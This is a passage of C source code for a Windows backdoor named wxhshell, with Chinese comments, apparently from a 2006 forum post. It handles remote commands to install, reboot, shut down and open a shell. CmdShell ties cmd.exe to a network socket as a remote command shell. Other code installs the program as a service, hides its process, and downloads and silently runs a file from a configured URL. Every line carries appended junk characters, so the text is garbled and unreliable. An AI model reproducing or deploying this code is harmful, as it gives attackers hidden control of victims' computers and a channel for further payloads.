  #5*|/LD  
  // 帮助 @*kQZRGK7  
  case '?': { M-Gl".*f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KneCMFy  
    break; uM|*y-4  
  } L} r#KfIb  
  // 安装 _qwKFC  
  case 'i': { X}Heaqn  
    if(Install()) hJ[Z~PC\T0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @}sxA9 a  
    else eiE36+'>b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zi M~V'  
    break; 0~2~^A#]\  
    } 08*bYJu  
  // 卸载 q5<'pi   
  case 'r': { S[g{ )p)  
    if(Uninstall()) V?x&.C2Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;la sk4|  
    else BWRM gN'.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RlJt+lnV  
    break; `a *_b9  
    } 4O}ZnE1[  
  // 显示 wxhshell 所在路径 Rs*]I\  
  case 'p': { tS|gQUF17  
    char svExeFile[MAX_PATH]; yb{ud  
    strcpy(svExeFile,"\n\r"); IpX.ube  
      strcat(svExeFile,ExeFile); _J' _9M?>  
        send(wsh,svExeFile,strlen(svExeFile),0); AXbDCDA  
    break; F\LAw#IJ  
    } J@$h'YUF  
  // 重启 vRp#bScc  
  case 'b': { 2/[J<c\G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k'H+l]=  
    if(Boot(REBOOT)) ~MuD`a7#G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.+{M.[}  
    else { OQl7#`G!H%  
    closesocket(wsh); \9r1JP0  
    ExitThread(0); s @AGU/v  
    } =8`!Ph@(  
    break; 6M sVV_/  
    } j6Msbq[  
  // 关机 l~_] k  
  case 'd': { zVeQKN9^Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =t@8Y`9w  
    if(Boot(SHUTDOWN)) Q&Q$;s3|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (T&rvE  
    else { 4gyC?#Ede  
    closesocket(wsh); ..Q$q2.  
    ExitThread(0); V?_:-!NJ(  
    } "e)C.#3  
    break; g4p-$WyT8>  
    } aXOW +$,  
  // 获取shell fLGZ@-qA0  
  case 's': { q$#5>5&  
    CmdShell(wsh); NFYo@kX> G  
    closesocket(wsh); $_ &Lp\  
    ExitThread(0); 397IbZ\  
    break; roiUVisq*  
  } >0^oC[ B  
  // 退出 )iKV"jsC  
  case 'x': { x-hr64WFK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zc1y)s0G  
    CloseIt(wsh); wWh)yfPh8H  
    break; F'NX  
    } |8m2i1XG  
  // 离开 4y: pj7h  
  case 'q': { 2cnyq$4k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Un~ }M/  
    closesocket(wsh); 9Q*T'+V  
    WSACleanup(); U3oMY{{E J  
    exit(1); VLL CdZ%  
    break; \vKK q/f  
        } f3[/zcm;  
  } +VE ] .*T  
  } X npn{  
:gwM$2vv  
  // 提示信息 Oh&k{DWE$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D#8uj=/%  
} NKyKsu  
  } n7>L&?N#y#  
1xf Pe#  
  return; mdNIC  
} $FJf8u`  
9 SBVp 6'  
// shell模块句柄 ntZl(]l  
int CmdShell(SOCKET sock) ]-2Q0wTj  
{ bJWPr  
STARTUPINFO si; >508-)'  
ZeroMemory(&si,sizeof(si)); ab@1JAgs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'ZiTjv ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ||}'  
PROCESS_INFORMATION ProcessInfo; n2p(@  
char cmdline[]="cmd"; Q7{/ T0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); # fe%E.  
  return 0; >Ohh) $  
} )8_ x  
}2!=1|}  
// 自身启动模式 zm{U.Q  
int StartFromService(void) .@kjC4m  
{ 0rA&Q0  
typedef struct zHg1K,t:  
{ "NM SLqO  
  DWORD ExitStatus; 2 {I(A2  
  DWORD PebBaseAddress; UXdnN;0  
  DWORD AffinityMask; F, 39'<N[  
  DWORD BasePriority; -ld1o+'`v!  
  ULONG UniqueProcessId; 6!|/(~  
  ULONG InheritedFromUniqueProcessId; 71I: P|.>  
}   PROCESS_BASIC_INFORMATION; g.]S5(  
U=vh_NHj  
PROCNTQSIP NtQueryInformationProcess; G@=H=' :~  
3[UB3F 4K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i2y E-sgF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,| Zkpn8  
|ZmWhkOX  
  HANDLE             hProcess; ;) (F4  
  PROCESS_BASIC_INFORMATION pbi; ej;\a:JL  
] v8.ym  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~2L]K4Z^  
  if(NULL == hInst ) return 0; = ;z42oS  
"T~ce@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Er!s\(h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M\!z='Fi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ibqJ'@{=e  
1$toowb"Zy  
  if (!NtQueryInformationProcess) return 0; :H8`z8=0f{  
)r`F}_CEL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p3W-*lE  
  if(!hProcess) return 0; WW[Gne  
[IRWm N-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >J['so2Bf  
@@pI>~#zh  
  CloseHandle(hProcess); JIh:IR(ta  
RbN# dI'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pq<]`9/w^w  
if(hProcess==NULL) return 0; i!7|YAu  
x:0nK,  
HMODULE hMod; ,+U,(P5>s  
char procName[255]; 2)4oe  
unsigned long cbNeeded; ELgq#z  
~^ ^|]s3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pu`;B  
3j} @}2D  
  CloseHandle(hProcess); J5j3#2l  
nm{J  
if(strstr(procName,"services")) return 1; // 以服务启动 ;+NU;f/WM  
fZNWJo# `.  
  return 0; // 注册表启动 wxW\L!@  
} (-bLP  
? f>pKe  
// 主模块 2J1YrHj3  
int StartWxhshell(LPSTR lpCmdLine) G5hh$Nmpi  
{ eW/sP Q-  
  SOCKET wsl; n/vKxtW  
BOOL val=TRUE; 6U?z  
  int port=0; grbUR)f<?-  
  struct sockaddr_in door; fb;y*-?#  
K)_DaTmi)  
  if(wscfg.ws_autoins) Install(); j3_vh<U\  
/{sFrEMP\  
port=atoi(lpCmdLine); n*nsFvt%o  
 WgayH  
if(port<=0) port=wscfg.ws_port; xwe^_7  
b.lK0 Xo  
  WSADATA data; mZ! 1Vh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  M_ii  
4PDxmH]y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U{|WN7Q:A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o^*k   
  door.sin_family = AF_INET; +S C;@'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ m#|[%  
  door.sin_port = htons(port); kr{eC/Q"  
J{qpGRQNa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m)oGeD( !  
closesocket(wsl); G~FAChI8![  
return 1; sUTfY|<7|  
} M_Z(+k{Gy  
:}{,u6\  
  if(listen(wsl,2) == INVALID_SOCKET) { @q<F_'7is  
closesocket(wsl); ffgb 3  
return 1; O$, bNu/g  
} fXfO9{E  
  Wxhshell(wsl); l6z}D; 4  
  WSACleanup(); {wy#HYhv  
\`N<0COP  
return 0; c@<vFoq  
Xm I63W*  
} yf@DaIG  
 Unc_e  
// 以NT服务方式启动 )D>= \ Me  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lq cHsUFj  
{ riz[AAB  
DWORD   status = 0; d%w#a3(  
  DWORD   specificError = 0xfffffff; aA3KJa  
C'oNGOEd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; , 3p$Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s$PPJJT{b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XPd@>2  
  serviceStatus.dwWin32ExitCode     = 0; r.#"he_6!.  
  serviceStatus.dwServiceSpecificExitCode = 0; _+NM<o#A  
  serviceStatus.dwCheckPoint       = 0; YfZ96C[a  
  serviceStatus.dwWaitHint       = 0; f>kW\uC  
i?D KKjN$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CF0i72ul5  
  if (hServiceStatusHandle==0) return; Nub)]S>_/t  
b@?pofZ`k  
status = GetLastError(); d@#wK~I  
  if (status!=NO_ERROR) ,,o5hD0V9  
{ ie9,ye"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %K7wScz7  
    serviceStatus.dwCheckPoint       = 0; K! e51P  
    serviceStatus.dwWaitHint       = 0; +x_9IvaW&?  
    serviceStatus.dwWin32ExitCode     = status; {-Q=YDR  
    serviceStatus.dwServiceSpecificExitCode = specificError; <WCTJ!Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T2p;#)dP  
    return; 9W+RUh^W  
  } K%iA-h  
j]5mzz~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]UFbG40Zo  
  serviceStatus.dwCheckPoint       = 0; +%: /!T@@  
  serviceStatus.dwWaitHint       = 0; g+  P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w/UZ6fu  
} y L|'K}  
qrxn%#\XP  
// 处理NT服务事件,比如:启动、停止 n,vs(ZL:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zc#$hIi  
{ >Ndck2@  
switch(fdwControl) .|Y&,?k| Y  
{ I?Fv!5p  
case SERVICE_CONTROL_STOP: eGr;PaG  
  serviceStatus.dwWin32ExitCode = 0; IqrT@jgN-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #BLmT-cl  
  serviceStatus.dwCheckPoint   = 0; (m%A>e B  
  serviceStatus.dwWaitHint     = 0; I/V lH:o  
  { `%oJa`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5zk^zn)  
  } :y%CP8  
  return;  roNRbA]  
case SERVICE_CONTROL_PAUSE: =QQTHL{3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bxR6@  
  break; 4_&+]S  
case SERVICE_CONTROL_CONTINUE: S#{gCc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |'ML )`c[  
  break; ]R?{9H|jwE  
case SERVICE_CONTROL_INTERROGATE: p^>_VE[S  
  break; {>rGe#Vu  
}; o.|P7{v}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , tb\^  
} +$y%H  
HmQ.'  
// 标准应用程序主函数 bpp{Z1/4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4M,Q{G|e  
{ ^T&@(|o  
QMAineO  
// 获取操作系统版本 ]qpLaBD  
OsIsNt=GetOsVer(); INjr$'*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q!*}^W  
bbe$6xwi  
  // 从命令行安装 HY!R|  
  if(strpbrk(lpCmdLine,"iI")) Install(); J<;@RK,c_  
[~&yLccN  
  // 下载执行文件 ~OSgpM#O!T  
if(wscfg.ws_downexe) { b<bj5m4fz>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Rxbb+,U  
  WinExec(wscfg.ws_filenam,SW_HIDE); p'f8?jt  
} 7H!/et?S,  
PXrv2q[5?  
if(!OsIsNt) { o7i>D6^^  
// 如果时win9x,隐藏进程并且设置为注册表启动 hteAuz4H  
HideProc(); dYxX%"J  
StartWxhshell(lpCmdLine); z&KrG  
} JG/Pc1aK  
else "&Rt&S  
  if(StartFromService()) pB5#Ho>S  
  // 以服务方式启动 ATzFs]~K;  
  StartServiceCtrlDispatcher(DispatchTable); dn1Fwy.  
else ?%A9}"q]  
  // 普通方式启动 ;Y9-0W  
  StartWxhshell(lpCmdLine); ?[VL 2dP0  
#UesXv  
return 0; &m=73 RN  
}
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只看该作者 1 发表于: 2006-10-10
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